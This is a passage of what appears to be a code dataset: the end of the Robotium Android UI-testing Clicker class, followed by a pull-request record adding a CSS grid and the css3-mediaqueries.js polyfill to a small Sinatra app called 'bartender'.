screen.\n\t *\n\t * @param x the x coordinate\n\t * @param y the y coordinate\n\t * @param time the amount of time to long click\n\t */\n\n\tpublic void clickLongOnScreen(float x, float y, int time, View view) {\n\t\tboolean successfull = false;\n\t\tint retry = 0;\n\t\tSecurityException ex = null;\n\t\tlong downTime = SystemClock.uptimeMillis();\n\t\tlong eventTime = SystemClock.uptimeMillis();\n\t\tMotionEvent event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_DOWN, x, y, 0);\n\n\t\twhile(!successfull && retry < 20) {\n\t\t\ttry{\n\t\t\t\tinst.sendPointerSync(event);\n\t\t\t\tsuccessfull = true;\n\t\t\t\tsleeper.sleep(MINI_WAIT);\n\t\t\t}catch(SecurityException e){\n\t\t\t\tex = e;\n\t\t\t\tdialogUtils.hideSoftKeyboard(null, false, true);\n\t\t\t\tsleeper.sleep(MINI_WAIT);\n\t\t\t\tretry++;\n\t\t\t\tView identicalView = viewFetcher.getIdenticalView(view);\n\t\t\t\tif(identicalView != null){\n\t\t\t\t\tfloat[] xyToClick = getClickCoordinates(identicalView);\n\t\t\t\t\tx = xyToClick[0];\n\t\t\t\t\ty = xyToClick[1];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(!successfull) {\n\t\t\tAssert.fail(\"Long click at (\"+x+\", \"+y+\") can not be completed! (\"+(ex != null ? ex.getClass().getName()+\": \"+ex.getMessage() : \"null\")+\")\");\n\t\t}\n\n\t\teventTime = SystemClock.uptimeMillis();\n\t\tevent = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_MOVE, x + 1.0f, y + 1.0f, 0);\n\t\tinst.sendPointerSync(event);\n\t\tif(time > 0)\n\t\t\tsleeper.sleep(time);\n\t\telse\n\t\t\tsleeper.sleep((int)(ViewConfiguration.getLongPressTimeout() * 2.5f));\n\n\t\teventTime = SystemClock.uptimeMillis();\n\t\tevent = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_UP, x, y, 0);\n\t\tinst.sendPointerSync(event);\n\t\tsleeper.sleep();\n\t}\n\n\n\t/**\n\t * Clicks on a given {@link View}.\n\t *\n\t * @param view the view that should be clicked\n\t */\n\n\tpublic void clickOnScreen(View view) {\n\t\tclickOnScreen(view, false, 0);\n\t}\n\n\t/**\n\t * Private method used to click on a given view.\n\t *\n\t * @param view the view that should be clicked\n\t * @param longClick true if the click should be a long click\n\t * @param time the amount of time to long click\n\t */\n\n\tpublic void clickOnScreen(View view, boolean longClick, int time) {\n\t\tif(view == null)\n\t\t\tAssert.fail(\"View is null and can therefore not be clicked!\");\n\n\t\tfloat[] xyToClick = getClickCoordinates(view);\n\t\tfloat x = xyToClick[0];\n\t\tfloat y = xyToClick[1];\n\n\t\tif(x == 0 || y == 0){\n\t\t\tsleeper.sleepMini();\n\t\t\ttry {\n\t\t\t\tview = viewFetcher.getIdenticalView(view);\n\t\t\t} catch (Exception ignored){}\n\n\t\t\tif(view != null){\n\t\t\t\txyToClick = getClickCoordinates(view);\n\t\t\t\tx = xyToClick[0];\n\t\t\t\ty = xyToClick[1];\n\t\t\t}\n\t\t}\n\n\t\tsleeper.sleep(300);\n\t\tif (longClick)\n\t\t\tclickLongOnScreen(x, y, time, view);\n\t\telse\n\t\t\tclickOnScreen(x, y, view);\n\t}\t\n\n\t/**\n\t * Returns click coordinates for the specified view.\n\t * \n\t * @param view the view to get click coordinates from\n\t * @return click coordinates for a specified view\n\t */\n\n\tprivate float[] getClickCoordinates(View view){\n\t\tint[] xyLocation = new int[2];\n\t\tfloat[] xyToClick = new float[2];\n\t\tint trialCount = 0;\n\n\t\tview.getLocationOnScreen(xyLocation);\n\t\twhile(xyLocation[0] == 0 && xyLocation[1] == 0 && trialCount < 10) {\n\t\t\tsleeper.sleep(300);\n\t\t\tview.getLocationOnScreen(xyLocation);\n\t\t\ttrialCount++;\n\t\t}\n\n\t\tfinal int viewWidth = view.getWidth();\n\t\tfinal int viewHeight = view.getHeight();\n\t\tfinal float x = xyLocation[0] + (viewWidth / 2.0f);\n\t\tfloat y = xyLocation[1] + (viewHeight / 2.0f);\n\n\t\txyToClick[0] = x;\n\t\txyToClick[1] = y;\n\n\t\treturn xyToClick;\n\t}\n\t\n\t\n\n\n\t/**\n\t * Long clicks on a specific {@link TextView} and then selects\n\t * an item from the context menu that appears. Will automatically scroll when needed.\n\t *\n\t * @param text the text that should be clicked on. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t * @param index the index of the menu item that should be pressed\n\t */\n\n\tpublic void clickLongOnTextAndPress(String text, int index)\n\t{\n\t\tclickOnText(text, true, 0, true, 0);\n\t\tdialogUtils.waitForDialogToOpen(Timeout.getSmallTimeout(), true);\n\t\ttry{\n\t\t\tinst.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);\n\t\t}catch(SecurityException e){\n\t\t\tAssert.fail(\"Can not press the context menu!\");\n\t\t}\n\t\tfor(int i = 0; i < index; i++)\n\t\t{\n\t\t\tsleeper.sleepMini();\n\t\t\tinst.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);\n\t\t}\n\t\tinst.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);\n\t}\n\n\t/**\n\t * Opens the menu and waits for it to open.\n\t */\n\n\tprivate void openMenu(){\n\t\tsleeper.sleepMini();\n\n\t\tif(!dialogUtils.waitForDialogToOpen(MINI_WAIT, false)) {\n\t\t\ttry{\n\t\t\t\tsender.sendKeyCode(KeyEvent.KEYCODE_MENU);\n\t\t\t\tdialogUtils.waitForDialogToOpen(WAIT_TIME, true);\n\t\t\t}catch(SecurityException e){\n\t\t\t\tAssert.fail(\"Can not open the menu!\");\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Clicks on a menu item with a given text.\n\t *\n\t * @param text the menu text that should be clicked on. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t */\n\n\tpublic void clickOnMenuItem(String text)\n\t{\n\t\topenMenu();\n\t\tclickOnText(text, false, 1, true, 0);\n\t}\n\n\t/**\n\t * Clicks on a menu item with a given text.\n\t *\n\t * @param text the menu text that should be clicked on. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t * @param subMenu true if the menu item could be located in a sub menu\n\t */\n\n\tpublic void clickOnMenuItem(String text, boolean subMenu)\n\t{\n\t\tsleeper.sleepMini();\n\n\t\tTextView textMore = null;\n\t\tint [] xy = new int[2];\n\t\tint x = 0;\n\t\tint y = 0;\n\n\t\tif(!dialogUtils.waitForDialogToOpen(MINI_WAIT, false)) {\n\t\t\ttry{\n\t\t\t\tsender.sendKeyCode(KeyEvent.KEYCODE_MENU);\n\t\t\t\tdialogUtils.waitForDialogToOpen(WAIT_TIME, true);\n\t\t\t}catch(SecurityException e){\n\t\t\t\tAssert.fail(\"Can not open the menu!\");\n\t\t\t}\n\t\t}\n\t\tboolean textShown = waiter.waitForText(text, 1, WAIT_TIME, true) != null;\n\n\t\tif(subMenu && (viewFetcher.getCurrentViews(TextView.class, true).size() > 5) && !textShown){\n\t\t\tfor(TextView textView : viewFetcher.getCurrentViews(TextView.class, true)){\n\t\t\t\tx = xy[0];\n\t\t\t\ty = xy[1];\n\t\t\t\ttextView.getLocationOnScreen(xy);\n\n\t\t\t\tif(xy[0] > x || xy[1] > y)\n\t\t\t\t\ttextMore = textView;\n\t\t\t}\n\t\t}\n\t\tif(textMore != null)\n\t\t\tclickOnScreen(textMore);\n\n\t\tclickOnText(text, false, 1, true, 0);\n\t}\n\n\t/**\n\t * Clicks on an ActionBar item with a given resource id\n\t *\n\t * @param resourceId the R.id of the ActionBar item\n\t */\n\n\tpublic void clickOnActionBarItem(int resourceId){\n\t\tsleeper.sleep();\n\t\tActivity activity = activityUtils.getCurrentActivity();\n\t\tif(activity != null){\n\t\t\tinst.invokeMenuActionSync(activity, resourceId, 0);\n\t\t}\n\t}\n\n\t/**\n\t * Clicks on an ActionBar Home/Up button.\n\t */\n\n\tpublic void clickOnActionBarHomeButton() {\n\t\tActivity activity = activityUtils.getCurrentActivity();\n\t\tMenuItem homeMenuItem = null;\n\n\t\ttry {\n\t\t\tClass<?> cls = Class.forName(\"com.android.internal.view.menu.ActionMenuItem\");\n\t\t\tClass<?> partypes[] = new Class[6];\n\t\t\tpartypes[0] = Context.class;\n\t\t\tpartypes[1] = Integer.TYPE;\n\t\t\tpartypes[2] = Integer.TYPE;\n\t\t\tpartypes[3] = Integer.TYPE;\n\t\t\tpartypes[4] = Integer.TYPE;\n\t\t\tpartypes[5] = CharSequence.class;\n\t\t\tConstructor<?> ct = cls.getConstructor(partypes);\n\t\t\tObject argList[] = new Object[6];\n\t\t\targList[0] = activity;\n\t\t\targList[1] = 0;\n\t\t\targList[2] = android.R.id.home;\n\t\t\targList[3] = 0;\n\t\t\targList[4] = 0;\n\t\t\targList[5] = \"\";\n\t\t\thomeMenuItem = (MenuItem) ct.newInstance(argList);\n\t\t} catch (Exception ex) {\n\t\t\tLog.d(LOG_TAG, \"Can not find methods to invoke Home button!\");\n\t\t}\n\n\t\tif (homeMenuItem != null) {\n\t\t\ttry{\n\t\t\t\tactivity.getWindow().getCallback().onMenuItemSelected(Window.FEATURE_OPTIONS_PANEL, homeMenuItem);\n\t\t\t}catch(Exception ignored) {}\n\t\t}\n\t}\n\n\t/**\n\t * Clicks on a web element using the given By method.\n\t *\n\t * @param by the By object e.g. By.id(\"id\");\n\t * @param match if multiple objects match, this determines which one will be clicked\n\t * @param scroll true if scrolling should be performed\n\t * @param useJavaScriptToClick true if click should be perfomed through JavaScript\n\t */\n\n\tpublic void clickOnWebElement(By by, int match, boolean scroll, boolean useJavaScriptToClick){\n\t\tWebElement webElement = null;\n\t\t\n\t\tif(useJavaScriptToClick){\n\t\t\twebElement = waiter.waitForWebElement(by, match, Timeout.getSmallTimeout(), false);\n\t\t\tif(webElement == null){\n\t\t\t\tAssert.fail(\"WebElement with \" + webUtils.splitNameByUpperCase(by.getClass().getSimpleName()) + \": '\" + by.getValue() + \"' is not found!\");\n\t\t\t}\n\t\t\twebUtils.executeJavaScript(by, true);\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tWebElement webElementToClick = waiter.waitForWebElement(by, match, Timeout.getSmallTimeout(), scroll);\n\t\t\n\t\tif(webElementToClick == null){\n\t\t\tif(match > 1) {\n\t\t\t\tAssert.fail(match + \" WebElements with \" + webUtils.splitNameByUpperCase(by.getClass().getSimpleName()) + \": '\" + by.getValue() + \"' are not found!\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\tAssert.fail(\"WebElement with \" + webUtils.splitNameByUpperCase(by.getClass().getSimpleName()) + \": '\" + by.getValue() + \"' is not found!\");\n\t\t\t}\n\t\t}\n\t\t\n\t\tclickOnScreen(webElementToClick.getLocationX(), webElementToClick.getLocationY(), null);\n\t}\n\n\n\t/**\n\t * Clicks on a specific {@link TextView} displaying a given text.\n\t *\n\t * @param regex the text that should be clicked on. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t * @param longClick {@code true} if the click should be a long click\n\t * @param match the regex match that should be clicked on\n\t * @param scroll true if scrolling should be performed\n\t * @param time the amount of time to long click\n\t */\n\n\tpublic void clickOnText(String regex, boolean longClick, int match, boolean scroll, int time) {\n\t\tTextView textToClick = waiter.waitForText(regex, match, Timeout.getSmallTimeout(), scroll, true, false);\n\n\t\tif (textToClick != null) {\n\t\t\tclickOnScreen(textToClick, longClick, time);\n\t\t}\n\n\t\telse {\n\n\t\t\tif(match > 1){\n\t\t\t\tAssert.fail(match + \" matches of text string: '\" + regex +  \"' are not found!\");\n\t\t\t}\n\n\t\t\telse{\n\t\t\t\tArrayList<TextView> allTextViews = RobotiumUtils.removeInvisibleViews(viewFetcher.getCurrentViews(TextView.class, true));\n\t\t\t\tallTextViews.addAll((Collection<? extends TextView>) webUtils.getTextViewsFromWebView());\n\n\t\t\t\tfor (TextView textView : allTextViews) {\n\t\t\t\t\tLog.d(LOG_TAG, \"'\" + regex + \"' not found. Have found: '\" + textView.getText() + \"'\");\n\t\t\t\t}\n\t\t\t\tallTextViews = null;\n\t\t\t\tAssert.fail(\"Text string: '\" + regex + \"' is not found!\");\n\t\t\t}\n\t\t}\n\t}\n\n\n\t/**\n\t * Clicks on a {@code View} of a specific class, with a given text.\n\t *\n\t * @param viewClass what kind of {@code View} to click, e.g. {@code Button.class} or {@code TextView.class}\n\t * @param nameRegex the name of the view presented to the user. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t */\n\n\tpublic <T extends TextView> void clickOn(Class<T> viewClass, String nameRegex) {\n\t\tT viewToClick = (T) waiter.waitForText(viewClass, nameRegex, 0, Timeout.getSmallTimeout(), true, true, false);\n\n\t\tif (viewToClick != null) {\n\t\t\tclickOnScreen(viewToClick);\n\t\t} else {\n\t\t\tArrayList <T> allTextViews = RobotiumUtils.removeInvisibleViews(viewFetcher.getCurrentViews(viewClass, true));\n\n\t\t\tfor (T view : allTextViews) {\n\t\t\t\tLog.d(LOG_TAG, \"'\" + nameRegex + \"' not found. Have found: '\" + view.getText() + \"'\");\n\t\t\t}\n\t\t\tAssert.fail(viewClass.getSimpleName() + \" with text: '\" + nameRegex + \"' is not found!\");\n\t\t}\n\t}\n\n\t/**\n\t * Clicks on a {@code View} of a specific class, with a certain index.\n\t *\n\t * @param viewClass what kind of {@code View} to click, e.g. {@code Button.class} or {@code ImageView.class}\n\t * @param index the index of the {@code View} to be clicked, within {@code View}s of the specified class\n\t */\n\n\tpublic <T extends View> void clickOn(Class<T> viewClass, int index) {\n\t\tclickOnScreen(waiter.waitForAndGetView(index, viewClass));\n\t}\n\n\n\t/**\n\t * Clicks on a certain list line and returns the {@link TextView}s that\n\t * the list line is showing. Will use the first list it finds.\n\t *\n\t * @param line the line that should be clicked\n\t * @return a {@code List} of the {@code TextView}s located in the list line\n\t */\n\n\tpublic ArrayList<TextView> clickInList(int line) {\n\t\treturn clickInList(line, 0, 0, false, 0);\n\t}\n\t\n\t/**\n\t * Clicks on a View with a specified resource id located in a specified list line\n\t *\n\t * @param line the line where the View is located\n\t * @param id the resource id of the View\n\t */\n\n\tpublic void clickInList(int line, int id) {\n\t\tclickInList(line, 0, id, false, 0);\n\t}\n\n\t/**\n\t * Clicks on a certain list line on a specified List and\n\t * returns the {@link TextView}s that the list line is showing.\n\t *\n\t * @param line the line that should be clicked\n\t * @param index the index of the list. E.g. Index 1 if two lists are available\n\t * @param id the resource id of the View to click\n\t * @return an {@code ArrayList} of the {@code TextView}s located in the list line\n\t */\n\n\tpublic ArrayList<TextView> clickInList(int line, int index, int id, boolean longClick, int time) {\n\t\tfinal long endTime = SystemClock.uptimeMillis() + Timeout.getSmallTimeout();\n\n\t\tint lineIndex = line - 1;\n\t\tif(lineIndex < 0)\n\t\t\tlineIndex = 0;\n\n\t\tArrayList<View> views = new ArrayList<View>();\n\t\tfinal AbsListView absListView = waiter.waitForAndGetView(index, AbsListView.class);\n\n\t\tif(absListView == null)\n\t\t\tAssert.fail(\"AbsListView is null!\");\n\n\t\tfailIfIndexHigherThenChildCount(absListView, lineIndex, endTime);\n\n\t\tView viewOnLine = getViewOnAbsListLine(absListView, index, lineIndex);\n\n\t\tif(viewOnLine != null){\n\t\t\tviews = viewFetcher.getViews(viewOnLine, true);\n\t\t\tviews = RobotiumUtils.removeInvisibleViews(views);\n\n\t\t\tif(id == 0){\n\t\t\t\tclickOnScreen(viewOnLine, longClick, time);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tclickOnScreen(getView(id, views));\n\t\t\t}\n\t\t}\n\t\treturn RobotiumUtils.filterViews(TextView.class, views);\n\t}\n\t\n\t/**\n\t * Clicks on a certain list line and returns the {@link TextView}s that\n\t * the list line is showing. Will use the first list it finds.\n\t *\n\t * @param line the line that should be clicked\n\t * @return a {@code List} of the {@code TextView}s located in the list line\n\t */\n\n\tpublic ArrayList<TextView> clickInRecyclerView(int line) {\n\t\treturn clickInRecyclerView(line, 0, 0, false, 0);\n\t}\n\t\n\t/**\n\t * Clicks on a View with a specified resource id located in a specified RecyclerView itemIndex\n\t *\n\t * @param itemIndex the index where the View is located\n\t * @param id the resource id of the View\n\t */\n\n\tpublic void clickInRecyclerView(int itemIndex, int id) {\n\t\tclickInRecyclerView(itemIndex, 0, id, false, 0);\n\t}\n\n\t\n\t/**\n\t * Clicks on a certain list line on a specified List and\n\t * returns the {@link TextView}s that the list line is showing.\n\t *\n\t * @param itemIndex the item index that should be clicked\n\t * @param recyclerViewIndex the index of the RecyclerView. E.g. Index 1 if two RecyclerViews are available\n\t * @param id the resource id of the View to click\n\t * @return an {@code ArrayList} of the {@code TextView}s located in the list line\n\t */\n\n\tpublic ArrayList<TextView> clickInRecyclerView(int itemIndex, int recyclerViewIndex, int id, boolean longClick, int time) {\n\t\tView viewOnLine = null;\n\t\tfinal long endTime = SystemClock.uptimeMillis() + Timeout.getSmallTimeout();\n\n\t\tif(itemIndex < 0)\n\t\t\titemIndex = 0;\n\n\t\tArrayList<View> views = new ArrayList<View>();\n\t\tViewGroup recyclerView = viewFetcher.getRecyclerView(recyclerViewIndex, Timeout.getSmallTimeout());\n\t\t\n\t\tif(recyclerView == null){\n\t\t\tAssert.fail(\"RecyclerView is not found!\");\n\t\t}\n\t\telse{\n\t\t\tfailIfIndexHigherThenChildCount(recyclerView, itemIndex, endTime);\n\t\t\tviewOnLine = getViewOnRecyclerItemIndex((ViewGroup) recyclerView, recyclerViewIndex, itemIndex);\n\t\t}\n\t\t\n\t\tif(viewOnLine != null){\n\t\t\tviews = viewFetcher.getViews(viewOnLine, true);\n\t\t\tviews = RobotiumUtils.removeInvisibleViews(views);\n\t\t\t\n\t\t\tif(id == 0){\n\t\t\t\tclickOnScreen(viewOnLine, longClick, time);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tclickOnScreen(getView(id, views));\n\t\t\t}\n\t\t}\n\t\treturn RobotiumUtils.filterViews(TextView.class, views);\n\t}\n\t\n\tprivate View getView(int id, List<View> views){\n\t\tfor(View view : views){\n\t\t\tif(id == view.getId()){\n\t\t\t\treturn view;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\t\n\tprivate void failIfIndexHigherThenChildCount(ViewGroup viewGroup, int index, long endTime){\n\t\twhile(index > viewGroup.getChildCount()){\n\t\t\tfinal boolean timedOut = SystemClock.uptimeMillis() > endTime;\n\t\t\tif (timedOut){\n\t\t\t\tint numberOfIndexes = viewGroup.getChildCount();\n\t\t\t\tAssert.fail(\"Can not click on index \" + index + \" as there are only \" + numberOfIndexes + \" indexes available\");\n\t\t\t}\n\t\t\tsleeper.sleep();\n\t\t}\n\t}\n\t\n\n\t/**\n\t * Returns the view in the specified list line\n\t * \n\t * @param absListView the ListView to use\n\t * @param index the index of the list. E.g. Index 1 if two lists are available\n\t * @param lineIndex the line index of the View\n\t * @return the View located at a specified list line\n\t */\n\n\tprivate View getViewOnAbsListLine(AbsListView absListView, int index, int lineIndex){\n\t\tfinal long endTime = SystemClock.uptimeMillis() + Timeout.getSmallTimeout();\n\t\tView view = absListView.getChildAt(lineIndex);\n\n\t\twhile(view == null){\n\t\t\tfinal boolean timedOut = SystemClock.uptimeMillis() > endTime;\n\t\t\tif (timedOut){\n\t\t\t\tAssert.fail(\"View is null and can therefore not be clicked!\");\n\t\t\t}\n\t\t\t\n\t\t\tsleeper.sleep();\n\t\t\tabsListView = (AbsListView) viewFetcher.getIdenticalView(absListView);\n\n\t\t\tif(absListView == null){\n\t\t\t\tabsListView = waiter.waitForAndGetView(index, AbsListView.class);\n\t\t\t}\n\t\t\t\n\t\t\tview = absListView.getChildAt(lineIndex);\n\t\t}\n\t\treturn view;\n\t}\n\t\n\t/**\n\t * Returns the view in the specified item index\n\t * \n\t * @param recyclerView the RecyclerView to use\n\t * @param itemIndex the item index of the View\n\t * @return the View located at a specified item index\n\t */\n\n\tprivate View getViewOnRecyclerItemIndex(ViewGroup recyclerView, int recyclerViewIndex, int itemIndex){\n\t\tfinal long endTime = SystemClock.uptimeMillis() + Timeout.getSmallTimeout();\n\t\tView view = recyclerView.getChildAt(itemIndex);\n\n\t\twhile(view == null){\n\t\t\tfinal boolean timedOut = SystemClock.uptimeMillis() > endTime;\n\t\t\tif (timedOut){\n\t\t\t\tAssert.fail(\"View is null and can therefore not be clicked!\");\n\t\t\t}\n\n\t\t\tsleeper.sleep();\n\t\t\trecyclerView = (ViewGroup) viewFetcher.getIdenticalView(recyclerView);\n\n\t\t\tif(recyclerView == null){\n\t\t\t\trecyclerView = (ViewGroup) viewFetcher.getRecyclerView(false, recyclerViewIndex);\n\t\t\t}\n\n\t\t\tif(recyclerView != null){\n\t\t\t\tview = recyclerView.getChildAt(itemIndex);\n\t\t\t}\n\t\t}\n\t\treturn view;\n\t}\n\t\n\t\n}\n"}}
{"repo": "ivanacostarubio/bartender", "pr_number": 2, "title": "1140 Grid added", "state": "closed", "merged_at": "2012-09-13T23:37:06Z", "additions": 1373, "deletions": 47, "files_changed": ["app.rb", "public/js/css3-mediaqueries.js", "public/stylesheets/1140.css", "public/stylesheets/grid-styles.css", "public/stylesheets/ie.css", "public/stylesheets/styles.css"], "files_before": {"app.rb": "require 'rubygems'\nrequire 'sinatra/base'\nrequire 'slim'\nrequire 'sass'\nrequire 'mongoid'\n\nMongoid.load!(\"config/mongoid.yml\")\n\nSlim::Engine.set_default_options :sections => false\n\nclass App < Sinatra::Base\n\n  set :public, File.join(File.dirname(__FILE__), 'public')\n  set :views, File.join(File.dirname(__FILE__), 'views')\n\n  helpers do\n    def partial(page, options={})\n      haml page, options.merge!(:layout => false)\n    end\n  end\n\n\n  get('/') do \n    slim :index\n  end\n\n  get('/styles') do \n    slim :styles\n  end\n\nend\n", "public/stylesheets/styles.css": "/*\nSyntax error: Invalid CSS after \"...nge: background\": expected selector or at-rule, was \": $orange; /* f...\"\n        on line 11 of public/stylesheets/styles.scss\n\n6: $vine: #ac3900;\n7: $white: #ffffff;\n8: $black: #000000;\n9: $lightgrey: #e6e5e5;\n10: $textgrey: #959494;\n11: $gradientorange: background: $orange; /* for non-css3 browsers */\n12: filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='$orange', endColorstr='$orangered'); /* for IE */\n13: background: -webkit-gradient(linear, left top, left bottom, from($orange), to($orangered)); /* for webkit browsers */\n14: background: -moz-linear-gradient(top,  $orange,  $orangered); /* for firefox 3.6+ */ \n15: ;\n16: \n\nBacktrace:\npublic/stylesheets/styles.scss:11\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/scss/parser.rb:1130:in `expected'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/scss/parser.rb:1066:in `expected'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/scss/parser.rb:28:in `parse'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/engine.rb:342:in `_to_tree'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/engine.rb:315:in `_render'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/engine.rb:262:in `render'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:340:in `update_stylesheet'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:202:in `block in update_stylesheets'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:200:in `each'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:200:in `update_stylesheets'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/lib/sass/plugin/compiler.rb:298:in `block in watch'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/multi_listener.rb:86:in `call'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/multi_listener.rb:86:in `on_change'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/multi_listener.rb:95:in `block in initialize_adapter'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/adapters/polling.rb:55:in `call'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/adapters/polling.rb:55:in `poll'\n/Users/bellatrix/.rvm/gems/ruby-1.9.3-p0@bartender/gems/sass-3.2.1/vendor/listen/lib/listen/adapters/polling.rb:31:in `block in start'\n*/\nbody:before {\n  white-space: pre;\n  font-family: monospace;\n  content: \"Syntax error: Invalid CSS after \\\"...nge: background\\\": expected selector or at-rule, was \\\": $orange; /* f...\\\"\\A         on line 11 of public/stylesheets/styles.scss\\A \\A 6: $vine: #ac3900;\\A 7: $white: #ffffff;\\A 8: $black: #000000;\\A 9: $lightgrey: #e6e5e5;\\A 10: $textgrey: #959494;\\A 11: $gradientorange: background: $orange; /* for non-css3 browsers */\\A 12: filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='$orange', endColorstr='$orangered'); /* for IE */\\A 13: background: -webkit-gradient(linear, left top, left bottom, from($orange), to($orangered)); /* for webkit browsers */\\A 14: background: -moz-linear-gradient(top,  $orange,  $orangered); /* for firefox 3.6+ */ \\A 15: ;\\A 16: \"; }\n"}, "files_after": {"app.rb": "require 'rubygems'\nrequire 'sinatra/base'\nrequire 'slim'\nrequire 'sass'\nrequire 'mongoid'\n\nMongoid.load!(\"config/mongoid.yml\")\n\nSlim::Engine.set_default_options :sections => false\n\nclass App < Sinatra::Base\n\n  set :public, File.join(File.dirname(__FILE__), 'public')\n  set :views, File.join(File.dirname(__FILE__), 'views')\n\n  helpers do\n    def partial(page, options={})\n      haml page, options.merge!(:layout => false)\n    end\n  end\n\n\n  get('/') do \n    slim :index\n  end\n\n  get('/styles') do \n    slim :styles\n  end\n  \n  get('/grid') do \n    slim :grid\n  end\n  \n\nend\n", "public/js/css3-mediaqueries.js": "if(typeof Object.create!==\"function\"){\nObject.create=function(o){\nfunction F(){\n};\nF.prototype=o;\nreturn new F();\n};\n}\nvar ua={toString:function(){\nreturn navigator.userAgent;\n},test:function(s){\nreturn this.toString().toLowerCase().indexOf(s.toLowerCase())>-1;\n}};\nua.version=(ua.toString().toLowerCase().match(/[\\s\\S]+(?:rv|it|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];\nua.webkit=ua.test(\"webkit\");\nua.gecko=ua.test(\"gecko\")&&!ua.webkit;\nua.opera=ua.test(\"opera\");\nua.ie=ua.test(\"msie\")&&!ua.opera;\nua.ie6=ua.ie&&document.compatMode&&typeof document.documentElement.style.maxHeight===\"undefined\";\nua.ie7=ua.ie&&document.documentElement&&typeof document.documentElement.style.maxHeight!==\"undefined\"&&typeof XDomainRequest===\"undefined\";\nua.ie8=ua.ie&&typeof XDomainRequest!==\"undefined\";\nvar domReady=function(){\nvar _1=[];\nvar _2=function(){\nif(!arguments.callee.done){\narguments.callee.done=true;\nfor(var i=0;i<_1.length;i++){\n_1[i]();\n}\n}\n};\nif(document.addEventListener){\ndocument.addEventListener(\"DOMContentLoaded\",_2,false);\n}\nif(ua.ie){\n(function(){\ntry{\ndocument.documentElement.doScroll(\"left\");\n}\ncatch(e){\nsetTimeout(arguments.callee,50);\nreturn;\n}\n_2();\n})();\ndocument.onreadystatechange=function(){\nif(document.readyState===\"complete\"){\ndocument.onreadystatechange=null;\n_2();\n}\n};\n}\nif(ua.webkit&&document.readyState){\n(function(){\nif(document.readyState!==\"loading\"){\n_2();\n}else{\nsetTimeout(arguments.callee,10);\n}\n})();\n}\nwindow.onload=_2;\nreturn function(fn){\nif(typeof fn===\"function\"){\n_1[_1.length]=fn;\n}\nreturn fn;\n};\n}();\nvar cssHelper=function(){\nvar _3={BLOCKS:/[^\\s{][^{]*\\{(?:[^{}]*\\{[^{}]*\\}[^{}]*|[^{}]*)*\\}/g,BLOCKS_INSIDE:/[^\\s{][^{]*\\{[^{}]*\\}/g,DECLARATIONS:/[a-zA-Z\\-]+[^;]*:[^;]+;/g,RELATIVE_URLS:/url\\(['\"]?([^\\/\\)'\"][^:\\)'\"]+)['\"]?\\)/g,REDUNDANT_COMPONENTS:/(?:\\/\\*([^*\\\\\\\\]|\\*(?!\\/))+\\*\\/|@import[^;]+;)/g,REDUNDANT_WHITESPACE:/\\s*(,|:|;|\\{|\\})\\s*/g,MORE_WHITESPACE:/\\s{2,}/g,FINAL_SEMICOLONS:/;\\}/g,NOT_WHITESPACE:/\\S+/g};\nvar _4,_5=false;\nvar _6=[];\nvar _7=function(fn){\nif(typeof fn===\"function\"){\n_6[_6.length]=fn;\n}\n};\nvar _8=function(){\nfor(var i=0;i<_6.length;i++){\n_6[i](_4);\n}\n};\nvar _9={};\nvar _a=function(n,v){\nif(_9[n]){\nvar _b=_9[n].listeners;\nif(_b){\nfor(var i=0;i<_b.length;i++){\n_b[i](v);\n}\n}\n}\n};\nvar _c=function(_d,_e,_f){\nif(ua.ie&&!window.XMLHttpRequest){\nwindow.XMLHttpRequest=function(){\nreturn new ActiveXObject(\"Microsoft.XMLHTTP\");\n};\n}\nif(!XMLHttpRequest){\nreturn \"\";\n}\nvar r=new 